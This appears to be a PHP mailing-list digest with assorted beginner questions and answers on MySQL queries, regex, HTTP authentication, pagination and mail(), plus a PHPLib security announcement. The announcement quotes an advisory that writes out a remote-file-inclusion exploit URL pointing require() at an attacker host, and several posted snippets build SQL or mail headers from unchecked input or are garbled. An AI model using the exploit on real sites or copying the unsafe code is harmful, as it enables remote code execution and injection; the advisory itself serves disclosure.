Hello,

I'm not sure if anyone else as the need for a php/MySQL based bibliography, but
the application that I am developing (which is basically a module for phpSlash)
is coming along fairly well. If anyone is interested in seeing the code I can
bundle it up and send it out to them (still a long way from finished mind). The
draft version of it is up and running here:
http://openconcept.ca/WLP/biblio/index.php3

I'm running into a couple problems though that I don't have the logic language
for and I was hoping folks here could help me (as you have done in the past).

The problem is that I've set up a many to many table to ensure that I can have
an author be listed as writing many books and a book be written by many authors.

However in listing the books as a bibliography (as the URL above), I want to be
able to list multiple authors, and do so in a different format for the first
author than for all subsequent ones.

I'm hoping to be able to produce output like this:
Young, D. and N. Dixon. Helping Leaders Take Effective Action: A Program
Evaluation. Greensboro, North Carolina: Center for Creative Leadership,
1996.

So, I think the first challenge should be to calculate which books have multiple
authors by doing something like this (It's using phplib structures, sorry):

$q2 = "SELECT * FROM WLPbib2profile ORDER BY bibID";
$this->db->query($q2); // Performs above query
while ($this->db->next_record()) {
        if ($this->db->Record["bibID"] != $last_bibID) {
        echo "<br>" . $this->db->Record["bibID"] . " : " . $this->db->Record["profileID"];
        } else { // Multiple Authors
                echo ", " . $this->db->Record["profileID"];
                $multiple_profileID .= array ($this->db->Record["bibID"] =>
                        $this->db->Record["profileID"]);
                $multiple_profileID .= array($this->db->Record["bibID"] =>
                        "yes");
                }
                $last_bibID = $this->db->Record["bibID"];
        }
}

With this I can then use the value $multiple_profileID to determine if this
record has duplicates or not and use something like this to include both authors
and not repeat the bibliography item:

if ($multiple_profileID[$bibID]=="yes") {
        while (list($key, $val) = each($multiple_profileID)) {
                $written_by = $key . " : " . $val . "<br>";
                if ($this->db->Record["firstName"]) {
        $written_by .= stripslashes($this->db->Record["firstName"]) . " ";
                }
                if($this->db->Record["lastName"]) {
        $written_by .= stripslashes($this->db->Record["lastName"]);
                }
        }
} else {

                        if($this->db->Record["lastName"]) {
                                $written_by .= stripslashes($this->db->Record["lastName"]) . ", ";
                        }
                        if ($this->db->Record["firstName"]) {
                                $written_by .= stripslashes($this->db->Record["firstName"]);
                        }
}

But this seems really awkward (at the best of times) and (worst of all) it isn't
working.

I've got another related problem in that I've set up the following fields in one
table:
        firstName
        lastName
        organization

and I need to be able to order them by a combination of lastName & organization.
I could list the organization field simply as the lastName, but that seems
like it would be confusing the data types... Must be a way around this.. I
suspect it is limited by my logic & not PHP's.

Any ideas would be appreciated.

Mike

wouldn't the structure of the database be determined by the fact you have a many to many relationship ? i.e. the two tables would decompose into three with a 'link' table defining the many to may part ?

I an trying to figure out how to remove lines from a text file from within an array. I fill the array with this $recordsarray = file ("../auto/records");

The lines I what to remove have this in them $remove = "schopf.net ";

What I need is how to loop through this array and pull out the lines that have what is in the $remove variable.

Then I will write the array to a temp file and thin copy it back to the records file

Thank You, Jon Yaggie www.design-monster.com And they were singing . . . '100 little bugs in the code 100 bugs in the code fix one bug, compile it again 101 little bugs in the code 101 little bugs in the code . . .' And it continued until they reached 0

attached mail follows:

The users on my website all have an "access" number that is used to give them access to different parts of the site. Each bit represents a different part of the site. So, if a user has an access of 10, which is 1010 in binary, they have access to the parts of the site that are represented by the second and fourth bit. You know, standard bit masking stuff.

So the part of the site that is represented by the second bit has a value of 2 (0010), and the part that is represented by the fourth bit has a value of 8 (1000)

BUT, for some reason when I do (2 & 10) its giving me a result of zero, when I believe it should be doing (0010 & 1010) and giving me an answer of 0010 which is 2 in decimal.

With users with an access other than 10, say 9, or 8, or 7, it seems to behave normally. What is going on? Is it treating the 10 as a binary 2? These access values are stored in a mysql table as a standard INT, and they are not UNSIGNED or BINARY.

Am I missing something?

Hi all,

I've been playing around with PHP authentication via HTTP.

I'm using apache, and when i use the header('WWW_Auth...)

headers i get a username/password dialog pop up (as i wanted).

How do i get those values unset in the browser, so that i can get a user to re authenticate ?

I need to get a user to re-auth part way through the use of the app i'm writing becasue they are deleting files from a file system.

Also how would i allow them to logout and let someone else log in.

The docs seemed to imply that the headers command should have repopped the auth box.

Jason

attached mail follows:

Try this when you want to logout:

<? header( 'WWW-Authenticate: Basic realm="Private"'); header( 'HTTP/1.0 401 Unauthorized' ); ?>

lists.php.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Replace ANYTHING between <TAG> </TAG>

I've been trying this one for a bit and Im in a twist.

I need to replace ANYTHING or even nothing between two tags with the contents of a variable and just havent been able to get the expression right for all cases.

As an example concept follows:

Nothing between the tags variable is $varname="some junk"

so after the function <TAG>some junk</TAG>

run it again after making variable $varname="some completly different junk"

so now the tags would be

<TAG>some completly different junk</TAG>

and so on and so on.....

One other breaker Ive had, it needs to always replace no matter whats between the tags, whats not between the tags or even if its 1000s of characters. My code kept breaking when it was alot of characters.

Any funtions or even just the right regex would be appreciated

Thanks

Hi Dan,

maybe something like:

$newvariablethatwewantbetweenthetags = "Long variable!";

$string = preg_replace("/(<TAG>)(.*?)(<\/TAG>)/i", \\1$newvariablethatwewantbetweenthetags\\2, $string));

There should be a " after and before the second part of that statement, but my email proggy strips them.

I know very little about PHP, but in other languages, what u describe happens because the webserver doesn't send the output until the excution is done...

But you can make it write your output as its generated... check out the function "flush"

I'm having a bit of a prob... I'm new to Linux and restarting apache isn't acting right, in Win I had no problems. I edit php.ini, restart apache, but the changes are not taking effect. I installed the ming and pdflib .so's but they are not being incorporated. Hell, I edited the ini to turn the php engine off but even that had no effect after a restart. BTW, I'm using Webmin. Any help?

attached mail follows:

The PHPLib Team announces phplib-7.2d, availible now. This release fixes the recently discovered hole in prepend.php3 that can allow a remote attacker to inject non-local code into any phplib based script.

Please note that this affects all applications that depend on PHPLib. Some apps have decided to distribute phplib along with their app for easier installation. Please check your phplib apps to determine if this is the case.

This hole has been mentioned in a HORDE IMP announcement and can be found at: http://marc.theaimsgroup.com/?l=imp&m=99575417320757&w=2

You can download phplib-7.2d from: http://sourceforge.net/project/showfiles.php?group_id=31885&release_id=44737

Note the new download location, you are not reading that incorrectly, PHPLib is starting the journey to SourceForge from its current home on phplib.netuse.de. CVS, Mailing Lists and the Website will be migrated over the next week. The current phplib.netuse.de site will be shortly removing all downloads and re-directing users to the new SourceForge site. Please be sure to keep an eye on http://sourceforge.net/projects/phplib/

What follows is the original announcemnt of the hole from the discoverer Giancarlo Pinerolo <giancarlonavigare.net>

--- BEGIN ANNOUNCE I. Systems Affected

* PHPLIB : systems with default PHPLIB installation, and default PHP settings, either as an Apache Module or a CGI, it also affects PHPLIB when used on any Windows web server with the PHP interpreter Both PHP3 and PHP4 are vulnerable

the use of _PHPLIB[libdir] first appeared on versions of PHPLIB starting December 1998

II. Overview

In PHP, variables do not have to be declared. They are created as soon as a value is assigned to them.

When PHP is configured with register_globaps enabled (as it is by default), variables submitted by the user are available in the global namespace. This means that, if a form or an URL query string contains a variable named "myvar", this variable is made available to the script as $myvar.

Getting variables from user input is, in the end, what web programming is allabout, but in this case an attacker can exploit the fact that a variable, not meant to be accepted as input, can actually make its way in, because it has not been previously initialized by the script.

PHP also has the possibility to pass associative arrays via the GET or POST methods. An example is an URL Like this:

http://www.myhost.com/myscript.php?MYARRAY[element1]

or a form whose input field looks like this:

PHP also has the possibility to transparently 'include' in a script other pieces of code via the 'include' and 'require' functions. It automatically discerns if the file to be included is on the local filesystem or on a remote location, when the php setting php_enable_fsockopen is true.

include("myfile.php") # will include it from the local filesystem include("http://www.there.com/myfile.php") # will include it from # the net

For more information on this issues I suggest reading tye document titled "A Story in Scarlet" Exploiting Common Vulnerabilities in PHP Applications" at http://www.securereality.com.au/studyinscarlet.txt

III. Description

By providind a value for the the array element $_PHPLIB[libdir], an intruder can force a script to load and execute scripts from another server. This is because the value of $_PHPLIB[libdir] gets initalized *only* if not already set.

This is particularly gravious because, in the normal PHPLIB installation, loadin other libraries is done at the very beginning.

The first instructions in the file 'prepend.php3', that is the very first file which normally gets included in all PHPLIB installation, is :

require($_PHPLIB["libdir"] . "db_mysql.inc");

or other filenames like 'db_pgsql.inc' for the postgres database, depending on the database in use.

if, in te above instruction, $_PHPLIB[libdir] is a string whose value is "http://attacker.com/", the instrucion executed will be:

require("http://attacker.com/" . "db_mysql.inc");

Thus, simply crafting and opening with a browser an URL like:

http://victim.com/any/phplib/page.php?_PHPLIB[libdir]=http://attacker.com/

will make the script 'page.php', which the attacker knows is based on the PHPLIB toolkit, include and execute any arbitrary php instruction contained in a file named 'db_mysql.inc', loaded via an http request for it, located, in the example above, in the document root of the 'attacker.com' web server (http://attacker.com/db_mysql.inc)

Considered the wealth of filesystem and network functions available as PHP functions, and the easy exploitation of this attack, I consider it *very* harmful

Hi Rasmus,

I did a phpinfo() and gives me the following output:

I did a make install and restarted my httpd. Lets forget the readline() what about sockets? Why does that not work?

Well, probably because ./configure --help says:

--enable-sockets Enable sockets support

And you used --with-sockets

Hi,

It works now. I did a stupid mistake instead of putting --enable-sockets I put --with-sockets <g>

You need to assign the output of exec to an array if you want to capture multiple lines of output. Check the manual for more detail.

hi all,

two quick reg exp problems:

one: $username must only contain a-z lowercase, 0-9, no spaces, no other characters. what would the regexp be?

if(ereg("????????????????", $username)) { $valid = "yes" } else { $valid = "no")

two: i want to do a really small email validation, just to make sure the email probably right, as in: anythinganything.anything

what's the best reg exp to use.

i'm aware there are email validating script out there, but I want to learn for myself

many thanks in advance

justin french

attached mail follows:

Hi Justin,

for the username, you can use:

if (!preg_match("/^[a-z0-9]*$/", $username)) { // error } else { // ok }

The ^ means start of the string, the characters between the [ and ] are ones that we want, the * means however many times, and the $ means the end of the line / string. So if there isn't a match against lower case letters and numbers throughout the string (from start to finish), there's an error.

I'd advise you to go more complex with the email address.

James.

He is suggesting to lower your error reporting so undeclaired variable sdo not produce errors. Another solution is to not call variables that have no value, or use isset() to check.

YP> Thanks in Advance

If you want to check how long is current month and use this value later you can use this:

$month=("m"); //can be like this depend on if you scrolling between moths. If yes variable $month must be recieved from link.

$d=27; while ($d <= 32) { $mon = date("m",mktime(0,0,0,$month,$d,$rok)); if ($month != $mon) { $daylast = $d-1; $d=33; } else { $d++; } }

I hope it helps.

Better still, use the date("t"); to find out how many days are in the given month. This part of the date function is a blessing, given the varying days in months, and the fact that we've a leap year every four years.

Hi Steph,

as the name suggests, use LIMIT ;)

Ie,

SELECT * FROM TABLE LIMIT 0,25

The 0 (or other number) is optional, and tells the table which row to start limiting from, the secon number is the number of rows to limit to.. So:

SELECT * FROM TABLE LIMIT 25,25

Would bring out 25 rows, starting from row 25 (rows 25 to 50). See the documentation at the mysql site for more info.

Cheers, James.

Here's a Quick & Dirty script that I ran up to get a display of 10 items per page with each click on a hyper-linked page returning a new page .. if you know what I mean. I've even included the headers so that any newbies can see the complete script and not just bits. The theory is that the first sql statement goes and gets the total number of rows for the display. This is then held in a global variable. The second query goes and gets the rows limited by an incrementing number. Simple, huh!

<? include("radius.inc"); radius_db_connect(); define ("INITIAL_PAGE",0); $sql="select distinct username from user"; $res=mysql_query($sql) or die ("OK");; $num_rows=mysql_num_rows($res); $j=1; $i=0; function initial_page(){ global $PHP_SELF, $num_rows, $i,$j, $n; $sql="select distinct username from user limit $n, 10"; $res=mysql_query($sql); while($row=mysql_fetch_array($res)){ print $row["username"]."<br>"; } $k=0; while($i <= $num_rows){ print "<a href = '$PHP_SELF?action=0&n=$i'> [$k]&nbsp</a>\n"; $k++; $i+=10; } } switch($action){ case INITIAL_PAGE: initial_page(); break; default: die ("Could not find function number $action"); } ?>

<? echo "<select name=\"FIELDNAME\">"; print "<option value=\"\">Select</option>"; for ($index = 0; $index < mysql_num_rows($query); $index++) { $row = mysql_fetch_row ($query) or die (mysql_error()); print "<option value=$row[1]>$row[1]</option>"; } echo "</select>"; ?>

Hi,

I know this subject had been discussed here before. Tried searching in list.php.net, I get a message search not setup (or something).

I want to send html mails thru php using mail(). Could someone tell me where I can study some scripts or tutorials.

TIA

Adrian

oh yeah, you might want to tidy up the code a bit... the email has put in line breaks.

and replace nothingnothing.com with your own email... the mail() command does all the work... the header command redirects the page.. you might want to change the address or remove it.

here's a script i wrote a while back..... copied and pasted.

--------------------- <? if ($submit) { $headers .= "From: $myemail \n"; $headers .= "cc:$cc \n"; $headers .= "bcc:$bcc \n"; // $headers .= "Content-Type: text/html; charset=iso-8859-1\n";

$message = stripslashes($contents); header("Location:http://www.wde.org/me/"); mail($to, $subject, $message, $headers); }

else { echo "<html>"; $myemail1 = "nothing <nothingnothing.com>";

that should work as a page in itself.... let me know if you have problems....
